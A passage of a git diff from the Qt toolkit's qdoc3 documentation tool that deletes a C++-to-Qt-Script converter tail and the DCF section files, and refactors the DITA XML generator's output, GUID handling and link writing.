-void CppToQsConverter::terminate()
-{
-}
-
-QString CppToQsConverter::convertCodeLine( Tree *qsTree,
- const QStringList& program,
- const QString& code,
- const QSet<QString>& classesWithNoQ )
-{
- static QString dataTypeFmt =
- "(?!return)(?:const\\b\\s*)?[A-Za-z_]+(?:\\s*[*&])?";
- static QRegExp funcPrototypeRegExp(
- "(" + dataTypeFmt + ")\\s*\\b([A-Z][a-zA-Z_0-9]*::)?"
- "([a-z][a-zA-Z_0-9]*)\\(([^);]*)(\\)?)(?:\\s*const)?" );
- static QRegExp paramRegExp(
- "^\\s*(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*(,)?\\s*" );
- static QRegExp uninitVarRegExp(
- "(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*);" );
- static QRegExp eqVarRegExp(
- dataTypeFmt + "\\s*\\b([a-z][a-zA-Z_0-9]*)\\s*=(\\s*)(.*)" );
- static QRegExp ctorVarRegExp(
- "(" + dataTypeFmt + ")\\s*\\b([a-z][a-zA-Z_0-9]*)\\((.*)\\);" );
- static QRegExp qdebugRegExp(
- "q(?:Debug|Warning|Fatal)\\(\\s*(\"(?:\\\\.|[^\"])*\")\\s*"
- "(?:,\\s*(\\S(?:[^,]*\\S)?))?\\s*\\);" );
- static QRegExp coutRegExp( "c(?:out|err)\\b(.*);" );
- static QRegExp lshiftRegExp( "\\s*<<\\s*" );
- static QRegExp endlRegExp( "^endl$" );
-
- if ( code.isEmpty() || code == "{" || code == "}" )
- return code;
-
- QString result;
-
- if ( funcPrototypeRegExp.exactMatch(code) ) {
- QString returnType = funcPrototypeRegExp.cap( 1 );
- QString className = funcPrototypeRegExp.cap( 2 );
- QString funcName = funcPrototypeRegExp.cap( 3 );
- QString params = funcPrototypeRegExp.cap( 4 ).trimmed();
- bool toBeContinued = funcPrototypeRegExp.cap( 5 ).isEmpty();
- // ### unused
- Q_UNUSED(toBeContinued);
-
- className.replace( "::", "." );
-
- result = "function " + className + funcName + "(";
-
- if ( !params.isEmpty() && params != "void" ) {
- result += " ";
- int i = funcPrototypeRegExp.pos( 4 );
- while ( (i = paramRegExp.indexIn(code, i,
- QRegExp::CaretAtOffset)) != -1 ) {
- QString dataType = paramRegExp.cap( 1 );
- QString paramName = paramRegExp.cap( 2 );
- QString comma = paramRegExp.cap( 3 );
-
- result += paramName + " : " +
- convertedDataType( qsTree, dataType );
- if ( comma.isEmpty() )
- break;
- result += ", ";
- i += paramRegExp.matchedLength();
- }
- result += " ";
- }
-
- result += ")";
- returnType = convertedDataType( qsTree, returnType );
- if ( !returnType.isEmpty() )
- result += " : " + returnType;
- } else if ( uninitVarRegExp.exactMatch(code) ) {
- QString dataType = uninitVarRegExp.cap( 1 );
- QString varName = uninitVarRegExp.cap( 2 );
-
- result = "var " + varName;
- dataType = convertedDataType( qsTree, dataType );
- if ( !dataType.isEmpty() )
- result += " : " + dataType;
- result += ";";
- } else if ( eqVarRegExp.exactMatch(code) ) {
- QString varName = eqVarRegExp.cap( 1 );
- QString value = eqVarRegExp.cap( 3 );
-
- value = convertExpr( qsTree, value, classesWithNoQ );
- result += "var " + varName + " = " + value;
- } else if ( ctorVarRegExp.exactMatch(code) ) {
- QString dataType = ctorVarRegExp.cap( 1 );
- QString varName = ctorVarRegExp.cap( 2 );
- QString value = ctorVarRegExp.cap( 3 ).trimmed();
-
- result += "var " + varName + " = ";
-
- dataType = convertedDataType( qsTree, dataType );
- value = convertExpr( qsTree, value, classesWithNoQ );
-
- if ( dataType.isEmpty() || dataType == "String" ) {
- if ( value.contains(",") ) {
- result += "...";
- } else {
- result += value;
- }
- } else {
- result += "new " + dataType;
- if ( !value.isEmpty() )
- result += "( " + value + " )";
- }
- result += ";";
- } else if ( qdebugRegExp.exactMatch(code) ) {
- QString fmt = qdebugRegExp.cap( 1 );
- QString arg1 = qdebugRegExp.cap( 2 );
-
- result += "println ";
- int i = 0;
- while ( i < (int) fmt.length() ) {
- if ( fmt[i] == '%' ) {
- int percent = i;
- i++;
- while ( i < (int) fmt.length() &&
- QString("diouxXeEfFgGaAcsCSpn%\"").indexOf(fmt[i]) == -1 )
- i++;
- if ( fmt[i] == '%' ) {
- result += fmt[i++];
- } else if ( fmt[i] != '"' ) {
- if ( percent == 1 ) {
- result.truncate( result.length() - 1 );
- } else {
- result += "\" + ";
- }
- i++;
- if ( arg1.endsWith(".latin1()") )
- arg1.truncate( arg1.length() - 9 );
- result += arg1;
- if ( i == (int) fmt.length() - 1 ) {
- i++;
- } else {
- result += " + \"";
- }
- }
- } else {
- result += fmt[i++];
- }
- }
- result += ";";
- } else if ( coutRegExp.exactMatch(code) &&
- program.filter("var cout").isEmpty() ) {
- QStringList args = coutRegExp.cap(1).split(lshiftRegExp);
- args.replaceInStrings( endlRegExp, "\"\\n\"" );
- if ( args.last() == "\"\\n\"" ) {
- args.erase( args.end() - 1 );
- if ( args.isEmpty() )
- args << "\"\"";
- result += "println ";
- } else {
- result += "print ";
- }
- result += args.join( " + " ) + ";";
- } else {
- result = convertExpr( qsTree, code, classesWithNoQ );
- }
- return result;
-}
-
-QString CppToQsConverter::convertComment( Tree * /* qsTree */,
- const QString& comment,
- const QSet<QString>& classesWithNoQ )
-
-{
- QString result = comment;
-
- result.replace( "TRUE", "true" );
- result.replace( "FALSE", "false" );
- result.replace( addressOperatorRegExp, "\\1\\2" );
- result.replace( gulbrandsenRegExp, "." );
-
- int i = 0;
- while ( (i = result.indexOf(qClassRegExp, i)) != -1 ) {
- if ( classesWithNoQ.contains(qClassRegExp.cap(1)) )
- result.remove( i, 1 );
- i++;
- }
- return result;
-}
-
-QString CppToQsConverter::convertExpr( Tree *qsTree, const QString& expr,
- const QSet<QString>& classesWithNoQ )
-{
- // suboptimal
- return convertComment( qsTree, expr, classesWithNoQ );
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/dcfsection.cpp b/tools/qdoc3/dcfsection.cpp
deleted file mode 100644
index ea6df58..0000000
--- a/tools/qdoc3/dcfsection.cpp
+++ /dev/null
@@ -1,111 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include <qfile.h>
-#include <qfileinfo.h>
-#include <qtextstream.h>
-
-#include "dcfsection.h"
-#include "htmlgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-void appendDcfSubSection( DcfSection *dcfSect, const DcfSection& sub )
-{
- dcfSect->subsections.append( sub );
-}
-
-void appendDcfSubSections( DcfSection *dcfSect, const QList<DcfSection>& subs )
-{
- dcfSect->subsections += subs;
-}
-
-void generateDcfSubSections( QString indent, QTextStream& out, const DcfSection& sect )
-{
- QList<DcfSection>::const_iterator ss = sect.subsections.constBegin();
- while ( ss != sect.subsections.constEnd() ) {
- out << indent << "<section ref=\"" << HtmlGenerator::cleanRef(HtmlGenerator::protect((*ss).ref))
- << "\" title=\"" << HtmlGenerator::protect((*ss).title) << "\"";
- if ((*ss).keywords.isEmpty() && (*ss).subsections.isEmpty()) {
- out << "/>\n";
- } else {
- out << ">\n";
- QString indentIndent = indent + " ";
- QList<QPair<QString, QString> >::const_iterator k = (*ss).keywords.constBegin();
- while ( k != (*ss).keywords.constEnd() ) {
- out << indentIndent << "<keyword ref=\"" << HtmlGenerator::cleanRef((*k).second) << "\">"
- << HtmlGenerator::protect((*k).first) << "</keyword>\n";
- ++k;
- }
-
- generateDcfSubSections( indentIndent, out, *ss );
- out << indent << "</section>\n";
- }
- ++ss;
- }
- out.flush();
-}
-
-void generateDcfSections( const DcfSection& rootSect, const QString& fileName,
- const QString& /* category */ )
-{
- QFile file(fileName);
- if (!file.open(QFile::WriteOnly | QFile::Text))
- return ;
-
- QTextStream out(&file);
-
- QString icon = QFileInfo(fileName).baseName() + ".png";
-
- out << "<!DOCTYPE DCF>\n";
- out << "<DCF ref=\"" << HtmlGenerator::cleanRef(HtmlGenerator::protect(rootSect.ref));
- if (icon != "qmake.png")
- out << "\" icon=\"" << HtmlGenerator::protect(icon);
- out << "\" imagedir=\"../../gif\" title=\"" << HtmlGenerator::protect(rootSect.title) +
- "\">\n";
-
- generateDcfSubSections( "", out, rootSect );
-
- out << "</DCF>\n";
- out.flush();
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/dcfsection.h b/tools/qdoc3/dcfsection.h
deleted file mode 100644
index b11e874..0000000
--- a/tools/qdoc3/dcfsection.h
+++ /dev/null
@@ -1,94 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#ifndef DCFSECTION_H
-#define DCFSECTION_H
-
-#include <qlist.h>
-#include <qpair.h>
-#include <qstring.h>
-
-QT_BEGIN_NAMESPACE
-
-class QTextStream;
-
-struct DcfSection
-{
- QString title;
- QString ref;
- QList<QPair<QString, QString> > keywords;
- QList<DcfSection> subsections;
-};
-
-inline bool operator<( const DcfSection& s1, const DcfSection& s2 ) {
- QString title1 = s1.title;
- QString title2 = s2.title;
-
- // cheat with Q3 classes
- if (title1.startsWith("Q3"))
- title1.insert(1, '~');
- if (title2.startsWith("Q3"))
- title2.insert(1, '~');
-
- int delta = title1.toLower().compare( title2.toLower() );
- if ( delta == 0 ) {
- delta = title1.compare( title2 );
- if ( delta == 0 )
- delta = s1.ref.localeAwareCompare( s2.ref );
- }
- return delta < 0;
-}
-
-inline bool operator>( const DcfSection& s1, const DcfSection& s2 ) { return s2 < s1; }
-inline bool operator<=( const DcfSection& s1, const DcfSection& s2 ) { return !( s2 < s1 ); }
-inline bool operator>=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 < s2 ); }
-inline bool operator==( const DcfSection& s1, const DcfSection& s2 ) { return &s1 == &s2; }
-inline bool operator!=( const DcfSection& s1, const DcfSection& s2 ) { return !( s1 == s2 ); }
-
-void appendDcfSubSection(DcfSection *dcfSect, const DcfSection &sub);
-void appendDcfSubSections(DcfSection *dcfSect, const QList<DcfSection> &subs);
-void generateDcfSubSections(QString indent, QTextStream &out, const DcfSection &sect);
-void generateDcfSections(const DcfSection &rootSect, const QString& fileName,
- const QString& category );
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp
index 84e8afd..e180c0a 100644
--- a/tools/qdoc3/ditaxmlgenerator.cpp
+++ b/tools/qdoc3/ditaxmlgenerator.cpp
@@ -1,4 +1,3 @@
-
/****************************************************************************
**
** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
@@ -48,6 +47,7 @@
#include "codeparser.h"
#include "ditaxmlgenerator.h"
#include "node.h"
+#include "quoter.h"
#include "separator.h"
#include "tree.h"
#include <ctype.h>
@@ -61,6 +61,10 @@ QT_BEGIN_NAMESPACE
#define COMMAND_VERSION Doc::alias("version")
int DitaXmlGenerator::id = 0;
+bool DitaXmlGenerator::inApiDesc = false;
+bool DitaXmlGenerator::inSection = false;
+bool DitaXmlGenerator::inDetailedDescription = false;
+bool DitaXmlGenerator::inLegaleseText = false;
#define cxxapi_d_xref Doc::alias("cxxapi-d-xref")
#define cxxclass Doc::alias("cxxclass")
@@ -282,59 +286,6 @@ int DitaXmlGenerator::id = 0;
#define CXXVARIABLESTORAGECLASSSPECIFIERSTATIC Doc::alias("cxxVariableStorageClassSpecifierStatic")
#define CXXVARIABLEVOLATILE Doc::alias("cxxVariableVolatile")
-#define APIREF Doc::alias("apiRef")
-#define APINAME Doc::alias("apiName")
-#define APIDETAIL Doc::alias("apiDetail")
-#define APISYNTAX Doc::alias("apiSyntax")
-#define APISYNTAXTEXT Doc::alias("apiSyntaxText")
-#define APISYNTAXITEM Doc::alias("apiSyntaxItem")
-#define APIDEF Doc::alias("apiDef")
-#define APIQUALIFIER Doc::alias("apiQualifier")
-#define APIRELATION Doc::alias("apiRelation")
-#define APITYPE Doc::alias("apiType")
-#define APIARRAY Doc::alias("apiArray")
-#define APIDATA Doc::alias("apiData")
-#define APIDEFNOTE Doc::alias("apiDefNote")
-#define APIDEFITEM Doc::alias("apiDefItem")
-#define APIITEMNAME Doc::alias("apiItemName")
-#define APIDESC Doc::alias("apiDesc")
-#define APIIMPL Doc::alias("apiImpl")
-
-#define APIPACKAGE Doc::alias("apiPackage")
-
-#define APICLASSIFIER Doc::alias("apiClassifier")
-#define APICLASSIFIERDETAIL Doc::alias("apiClassifierDetail")
-#define APICLASSIFIERDEF Doc::alias("apiClassifierDef")
-#define APICLASSIFIERMEMBER Doc::alias("apiClassifierMember")
-#define APIOTHERCLASSIFIER Doc::alias("apiOtherClassifier")
-#define APIBASECLASSIFIER Doc::alias("apiBaseClassifier")
-
-#define APIOPERATION Doc::alias("apiOperation")
-#define APIOPERATIONDETAIL Doc::alias("apiOperationDetail")
-#define APIOPERATIONDEF Doc::alias("apiOperationDef")
-#define APIRETURN Doc::alias("apiReturn")
-#define APIPARAM Doc::alias("apiParam")
-#define APIEVENT Doc::alias("apiEvent")
-#define APIOPERATIONDEFITEM Doc::alias("apiOperationDefItem")
-#define APIOPERATIONCLASSIFIER Doc::alias("apiOperationClassifier")
-#define APICONSTRUCTORDEF Doc::alias("apiConstructorDef")
-
-#define APIVALUE Doc::alias("apiValue")
-#define APIVALUEDETAIL Doc::alias("apiValueDetail")
-#define APIVALUEDEF Doc::alias("apiValueDef")
-#define APIVALUEMEMBER Doc::alias("apiValueMember")
-#define APIVALUECLASSIFIER Doc::alias("apiValueClassifier")
-
-#define APIclassifier Doc::alias("apiclassifier")
-#define APIoperation Doc::alias("apioperation")
-#define APIpackage Doc::alias("apipackage")
-#define APIvalue Doc::alias("apivalue")
-
-#define APIMAP Doc::alias("apiMap")
-#define APIITEMREF Doc::alias("apiItemRef")
-
-#define SHORTDESC Doc::alias("shortdesc")
-
QString DitaXmlGenerator::sinceTitles[] =
{
" New Namespaces",
@@ -356,44 +307,75 @@ QString DitaXmlGenerator::sinceTitles[] =
static bool showBrokenLinks = false;
-static void addLink(const QString &linkTarget,
- const QStringRef &nestedStuff,
- QString *res)
+/*!
+ Quick, dirty, and very ugly. Unescape \a text
+ so QXmlStreamWriter::writeCharacters() can put
+ the escapes back in again!
+ */
+void DitaXmlGenerator::writeCharacters(const QString& text)
+{
+ QString t = text;
+ t = t.replace("&lt;","<");
+ t = t.replace("&gt;",">");
+ t = t.replace("&amp;","&");
+ t = t.replace("&quot;","\"");
+ xmlWriter().writeCharacters(t);
+}
+
+/*!
+ Appends an <xref> element to the current XML stream
+ with the \a href attribute and the \a text.
+ */
+void DitaXmlGenerator::addLink(const QString& href,
+ const QStringRef& text)
{
- if (!linkTarget.isEmpty()) {
- *res += "<xref href=\"";
- *res += linkTarget;
- *res += "\">";
- *res += nestedStuff;
- *res += "</xref>";
+ if (!href.isEmpty()) {
+ xmlWriter().writeStartElement("xref");
+ xmlWriter().writeAttribute("href", href);
+ writeCharacters(text.toString());
+ xmlWriter().writeEndElement(); // </xref>
}
else {
- *res += nestedStuff;
+ writeCharacters(text.toString());
}
}
-
+/*!
+ The default constructor.
+ */
DitaXmlGenerator::DitaXmlGenerator()
: inLink(false),
inContents(false),
inSectionHeading(false),
inTableHeader(false),
+ inTableBody(false),
numTableRows(0),
threeColumnEnumValueTable(true),
offlineDocs(true),
funcLeftParen("\\S(\\()"),
myTree(0),
- slow(false),
obsoleteLinks(false),
- noLinks(0)
+ noLinks(false),
+ tableColumnCount(0)
{
+ // nothing yet.
}
+/*!
+ The destructor has nothing to do.
+ */
DitaXmlGenerator::~DitaXmlGenerator()
{
- // nothing yet.
+ GuidMaps::iterator i = guidMaps.begin();
+ while (i != guidMaps.end()) {
+ delete i.value();
+ ++i;
+ }
}
+/*!
+ A lot of internal structures are initialized.
+ */
void DitaXmlGenerator::initializeGenerator(const Config &config)
{
static const struct {
@@ -478,8 +460,6 @@ void DitaXmlGenerator::initializeGenerator(const Config &config)
++edition;
}
- slow = config.getBool(CONFIG_SLOW);
-
stylesheets = config.getStringList(DitaXmlGenerator::format() +
Config::dot +
DITAXMLGENERATOR_STYLESHEETS);
@@ -490,11 +470,17 @@ void DitaXmlGenerator::initializeGenerator(const Config &config)
}
+/*!
+ All this does is call the same function in the base class.
+ */
void DitaXmlGenerator::terminateGenerator()
{
Generator::terminateGenerator();
}
+/*!
+ Returns "DITAXML".
+ */
QString DitaXmlGenerator::format()
{
return "DITAXML";
@@ -506,11 +492,22 @@ QString DitaXmlGenerator::format()
*/
QString DitaXmlGenerator::writeGuidAttribute(QString text)
{
- QString guid = lookupGuid(text);
- writer.writeAttribute("id",guid);
+ QString guid = lookupGuid(outFileName(),text);
+ xmlWriter().writeAttribute("id",guid);
return guid;
}
+
+/*!
+ Write's the GUID for the \a node to the current XML stream
+ as an "id" attribute. If the \a node doesn't yet have a GUID,
+ one is generated.
+ */
+void DitaXmlGenerator::writeGuidAttribute(Node* node)
+{
+ xmlWriter().writeAttribute("id",node->guid());
+}
+
/*!
Looks up \a text in the GUID map. If it finds \a text,
it returns the associated GUID. Otherwise it inserts
@@ -522,17 +519,54 @@ QString DitaXmlGenerator::lookupGuid(QString text)
QMap<QString, QString>::const_iterator i = name2guidMap.find(text);
if (i != name2guidMap.end())
return i.value();
- QString guid = QUuid::createUuid().toString();
+ QString t = QUuid::createUuid().toString();
+ QString guid = "id-" + t.mid(1,t.length()-2);
name2guidMap.insert(text,guid);
return guid;
}
/*!
+ First, look up the GUID map for \a fileName. If there isn't
+ a GUID map for \a fileName, create one and insert it into
+ the map of GUID maps. Then look up \a text in that GUID map.
+ If \a text is found, return the associated GUID. Otherwise,
+ insert \a text into the GUID map with a new GUID, and return
+ the new GUID.
+ */
+QString DitaXmlGenerator::lookupGuid(const QString& fileName, const QString& text)
+{
+ GuidMap* gm = lookupGuidMap(fileName);
+ GuidMap::const_iterator i = gm->find(text);
+ if (i != gm->end())
+ return i.value();
+ QString t = QUuid::createUuid().toString();
+ QString guid = "id-" + t.mid(1,t.length()-2);
+ gm->insert(text,guid);
+ return guid;
+}
+
+/*!
+ Looks up \a fileName in the map of GUID maps. If it finds
+ \a fileName, it returns a pointer to the associated GUID
+ map. Otherwise it creates a new GUID map and inserts it
+ into the map of GUID maps with \a fileName as its key.
+ */
+GuidMap* DitaXmlGenerator::lookupGuidMap(const QString& fileName)
+{
+ GuidMaps::const_iterator i = guidMaps.find(fileName);
+ if (i != guidMaps.end())
+ return i.value();
+ GuidMap* gm = new GuidMap;
+ guidMaps.insert(fileName,gm);
+ return gm;
+}
+
+/*!
This is where the DITA XML files are written.
\note The file generation is done in the base class,
PageGenerator::generateTree().
*/
-void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker)
+void DitaXmlGenerator::generateTree(const Tree *tree)
{
myTree = tree;
nonCompatClasses.clear();
@@ -551,7 +585,8 @@ void DitaXmlGenerator::generateTree(const Tree *tree, CodeMarker *marker)
findAllNamespaces(tree->root());
findAllSince(tree->root());
- PageGenerator::generateTree(tree, marker);
+ PageGenerator::generateTree(tree);
+ writeDitaMap();
}
void DitaXmlGenerator::startText(const Node* /* relative */,
@@ -567,6 +602,33 @@ void DitaXmlGenerator::startText(const Node* /* relative */,
sectionNumber.clear();
}
+static int countTableColumns(const Atom* t)
+{
+ int result = 0;
+ if (t->type() == Atom::TableHeaderLeft) {
+ while (t->type() == Atom::TableHeaderLeft) {
+ int count = 0;
+ t = t->next();
+ while (t->type() != Atom::TableHeaderRight) {
+ if (t->type() == Atom::TableItemLeft)
+ ++count;
+ t = t->next();
+ }
+ if (count > result)
+ result = count;
+ t = t->next();
+ }
+ }
+ else if (t->type() == Atom::TableRowLeft) {
+ while (t->type() != Atom::TableRowRight) {
+ if (t->type() == Atom::TableItemLeft)
+ ++result;
+ t = t->next();
+ }
+ }
+ return result;
+}
+
/*!
Generate html from an instance of Atom.
*/
@@ -575,43 +637,57 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
CodeMarker *marker)
{
int skipAhead = 0;
- QString hx;
+ QString hx, str;
static bool in_para = false;
- QString guid;
-
+ QString guid, hc;
+
switch (atom->type()) {
case Atom::AbstractLeft:
break;
case Atom::AbstractRight:
break;
case Atom::AutoLink:
- if ((noLinks > 0) && !inLink && !inContents && !inSectionHeading) {
- const Node *node = 0;
+ if (!noLinks && !inLink && !inContents && !inSectionHeading) {
+ const Node* node = 0;
QString link = getLink(atom, relative, marker, &node);
if (!link.isEmpty()) {
- beginLink(link, node, relative, marker);
+ beginLink(link);
generateLink(atom, relative, marker);
endLink();
}
else {
- writer.writeCharacters(protectEnc(atom->string()));
+ writeCharacters(protectEnc(atom->string()));
}
}
else {
- writer.writeCharacters(protectEnc(atom->string()));
+ writeCharacters(protectEnc(atom->string()));
}
break;
case Atom::BaseName:
break;
case Atom::BriefLeft:
- if (relative->type() == Node::Fake) {
- skipAhead = skipAtoms(atom, Atom::BriefRight);
- break;
+ //if (relative->type() == Node::Fake) {
+ //skipAhead = skipAtoms(atom, Atom::BriefRight);
+ //break;
+ //}
+ if (inApiDesc || inSection) {
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeAttribute("outputclass","brief");
+ }
+ else {
+ noLinks = true;
+ xmlWriter().writeStartElement("shortdesc");
}
- writer.writeStartElement(SHORTDESC);
if (relative->type() == Node::Property ||
relative->type() == Node::Variable) {
- QString str;
+ xmlWriter().writeCharacters("This ");
+ if (relative->type() == Node::Property)
+ xmlWriter().writeCharacters("property");
+ else if (relative->type() == Node::Variable)
+ xmlWriter().writeCharacters("variable");
+ xmlWriter().writeCharacters(" holds ");
+ }
+ if (noLinks) {
atom = atom->next();
while (atom != 0 && atom->type() != Atom::BriefRight) {
if (atom->type() == Atom::String ||
@@ -623,102 +699,89 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
str[0] = str[0].toLower();
if (str.right(1) == ".")
str.truncate(str.length() - 1);
- writer.writeCharacters("This ");
- if (relative->type() == Node::Property)
- writer.writeCharacters("property");
- else
- writer.writeCharacters("variable");
- QStringList words = str.split(" ");
- if (!(words.first() == "contains" || words.first() == "specifies"
- || words.first() == "describes" || words.first() == "defines"
- || words.first() == "holds" || words.first() == "determines"))
- writer.writeCharacters(" holds ");
- else
- writer.writeCharacters(" ");
- writer.writeCharacters(str + ".");
+ writeCharacters(str + ".");
}
break;
case Atom::BriefRight:
- if (relative->type() != Node::Fake) {
- writer.writeEndElement(); // </shortdesc>
- }
+ // if (relative->type() != Node::Fake)
+ xmlWriter().writeEndElement(); // </shortdesc> or </p>
+ noLinks = false;
break;
case Atom::C:
- writer.writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]);
+ xmlWriter().writeStartElement(formattingLeftMap()[ATOM_FORMATTING_TELETYPE]);
if (inLink) {
- writer.writeCharacters(protectEnc(plainCode(atom->string())));
+ writeCharacters(protectEnc(plainCode(atom->string())));
}
else {
- writer.writeCharacters(highlightedCode(atom->string(), marker, relative));
+ writeText(atom->string(), marker, relative);
}
- writer.writeEndElement(); // sse writeStartElement() above
+ xmlWriter().writeEndElement(); // sse writeStartElement() above
break;
case Atom::Code:
- writer.writeStartElement("pre");
- writer.writeAttribute("outputclass","highlightedCode");
- writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
- marker,
- relative)));
- writer.writeEndElement(); // </pre>
+ {
+ xmlWriter().writeStartElement("codeblock");
+ QString chars = trimmedTrailing(atom->string());
+ writeText(chars, marker, relative);
+ xmlWriter().writeEndElement(); // </codeblock>
+ }
break;
-#ifdef QDOC_QML
case Atom::Qml:
- writer.writeStartElement("pre");
- writer.writeAttribute("outputclass","highlightedCode");
- writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
- marker,
- relative)));
- writer.writeEndElement(); // pre
+ xmlWriter().writeStartElement("codeblock");
+ writeText(trimmedTrailing(atom->string()), marker, relative);
+ xmlWriter().writeEndElement(); // </codeblock>
break;
-#endif
case Atom::CodeNew:
- writer.writeStartElement("p");
- writer.writeCharacters("you can rewrite it as");
- writer.writeEndElement(); // </p>
- writer.writeStartElement("pre");
- writer.writeAttribute("outputclass","highlightedCode");
- writer.writeCharacters(trimmedTrailing(highlightedCode(indent(codeIndent,atom->string()),
- marker,
- relative)));
- writer.writeEndElement(); // </pre>
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeCharacters("you can rewrite it as");
+ xmlWriter().writeEndElement(); // </p>
+ xmlWriter().writeStartElement("codeblock");
+ writeText(trimmedTrailing(atom->string()), marker, relative);
+ xmlWriter().writeEndElement(); // </codeblock>
break;
case Atom::CodeOld:
- writer.writeStartElement("p");
- writer.writeCharacters("For example, if you have code like");
- writer.writeEndElement(); // </p>
+ xmlWriter().writeStartElement("p");
+ xmlWriter().writeCharacters("For example, if you have code like");
+ xmlWriter().writeEndElement(); // </p>
// fallthrough
case Atom::CodeBad:
- writer.writeStartElement("pre");
- writer.writeAttribute("outputclass","highlightedCode");
- writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string())))));
- writer.writeEndElement(); // </pre>
+ xmlWriter().writeStartElement("codeblock");
+ writeCharacters(trimmedTrailing(plainCode(atom->string())));
+ xmlWriter().writeEndElement(); // </codeblock>
break;
+ case Atom::Div:
+ xmlWriter().writeStartElement("bodydiv");
+ if (!atom->string().isEmpty())
+ xmlWriter().writeAttribute("outputclass", atom->string());
+ break;
+ case Atom::EndDiv:
+ xmlWriter().writeEndElement(); // </bodydiv>
+ break;
case Atom::FootnoteLeft:
// ### For now
if (in_para) {
- writer.writeEndElement(); // </p>
+ xmlWriter().writeEndElement(); // </p>
in_para = false;
}
- writer.writeCharacters("<!-- ");
+ xmlWriter().writeCharacters("<!-- ");
break;
case Atom::FootnoteRight:
// ### For now
- writer.writeCharacters("-->");
+ xmlWriter().writeCharacters("-->");
break;
case Atom::FormatElse:
case Atom::FormatEndif:
case Atom::FormatIf:
break;
case Atom::FormattingLeft:
- writer.writeStartElement(formattingLeftMap()[atom->string()]);
+ xmlWriter().writeStartElement(formattingLeftMap()[atom->string()]);
if (atom->string() == ATOM_FORMATTING_PARAMETER) {
if (atom->next() != 0 && atom->next()->type() == Atom::String) {
QRegExp subscriptRegExp("([a-z]+)_([0-9n])");
if (subscriptRegExp.exactMatch(atom->next()->string())) {
- writer.writeCharacters(subscriptRegExp.cap(1));
- writer.writeStartElement("sub");
- writer.writeCharacters(subscriptRegExp.cap(2));
- writer.writeEndElement(); // </sub>
+ xmlWriter().writeCharacters(subscriptRegExp.cap(1));
+ xmlWriter().writeStartElement("sub");
+ xmlWriter().writeCharacters(subscriptRegExp.cap(2));
+ xmlWriter().writeEndElement(); // </sub>
skipAhead = 1;
}
}
@@ -729,7 +792,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
endLink();
}
else {
- writer.writeEndElement(); // ?
+ xmlWriter().writeEndElement(); // ?
}
break;
case Atom::AnnotatedList:
@@ -835,19 +898,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
generateAnnotatedList(fake, marker, groupMembersMap);
}
}
- else if (atom->string() == "relatedinline") {
- const FakeNode *fake = static_cast<const FakeNode *>(relative);
- if (fake && !fake->groupMembers().isEmpty()) {
- // Reverse the list into the original scan order.
- // Should be sorted. But on what? It may not be a
- // regular class or page definition.
- QList<const Node *> list;
- foreach (const Node *node, fake->groupMembers())
- list.prepend(node);
- foreach (const Node *node, list)
- generateBody(node, marker);
- }
- }
break;
case Atom::SinceList:
{
@@ -931,31 +981,26 @@ int DitaXmlGenerator::generateAtom(const Atom *atom,
/*
First generate the table of contents.
*/
